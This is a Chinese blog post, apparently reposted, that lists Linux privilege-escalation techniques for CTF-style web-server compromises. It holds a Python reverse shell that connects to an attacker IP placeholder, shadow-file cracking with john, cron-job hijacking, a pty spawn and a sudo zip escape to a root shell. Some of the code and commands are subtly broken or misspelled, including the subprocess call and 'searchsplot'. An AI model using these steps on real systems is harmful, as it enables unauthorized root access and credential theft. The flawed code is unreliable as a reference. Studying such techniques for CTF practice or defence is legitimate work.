CTF中對web服務器各種提權姿勢


        在我們拿下服務器web服務往往只是低權限用戶,對於內網滲透,我們往往需要root權限,Linux系統提權包括使用溢出漏洞已及利用系統配置文件。

提權前提:

  1.拿到低權限shell

  2.被入侵機器上ncpythonperl等常見linux下的工具

  3.有權上傳下載文件

 

1. 利用內核漏洞
通殺內核漏洞十分少見,因此我們先應對系統相關進行信息收集。

利用searchsplot

查看發行版本:  

cat /etc/issue

cat /etc/*-release

lsb_realse -a

查看內核版本:

uname -a

如果具有內核溢出漏洞我們就上傳溢出代碼,編譯執行

gcc  xxx.c  -o  exploit

chmod +x exploit

./exploit

 

2. 利用明文root密碼提權

Linux密碼大多都和/etc/passwd /etc/shadow 這兩個配置文件有關。Passwd里儲存了用戶,shadow里密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫,shadow是僅root可讀寫。

例如 破解linux用戶名和對應密碼

/etc/passwd /etc/shadow

unshadow passwd shadow >cracked

john cracked

 

3. 利用定時計划任務

通過查看 /etc/crontab 文件,查看其他用戶是否有設定的系統定時任務,並查看對應對應任務內容,執行的任務肯定時對靶場機器的某個文件。

etc/crontab 文件是用來設定系統定期執行任務,需要root權限,不同用戶都可以有不同定時任務如果在 /etc/crontab 下有某個用戶執行的定時計划文件,但是具體目錄下沒有這個定時執行的文件,可以自行創建反彈shell ,用創建的腳本替換原來的py腳本netcat執行監聽獲得對應用戶的權限

如果有定時執行任務的文件,可以切換到對應的目錄,查看對應的權限,查看當前用戶是否具有讀寫權限

import os,subprocess,socket
 
s=socket.socket()
s.connect(("攻擊機ip地址","攻擊機監聽端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess(["/bin/sh","-i "])

 

啟動監聽: nc -nlvp port

 

4. 密碼復用

管理員可能會設置重復使用的密碼,因此可能數據庫或者web后台的密碼就是root密碼

擁有疑似root的秘密可以嘗試ssh登錄,若禁止root登錄或被防火牆擋住,我們就想辦法在低權限上輸入密碼,當然一般情況下linux會要求用戶必須從終端設備(tty)中輸入密碼,禁止標准輸入,sudo常常不能使用

因此我們可以用python模擬一個終端  python -c "import pty;pty.spawn('/bin/bash')"

 

5. 利用zip提權

 使用sudo -l 查看當前用戶可以使用的root提權命令信息,發現可以執行tarzip相關命令。

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM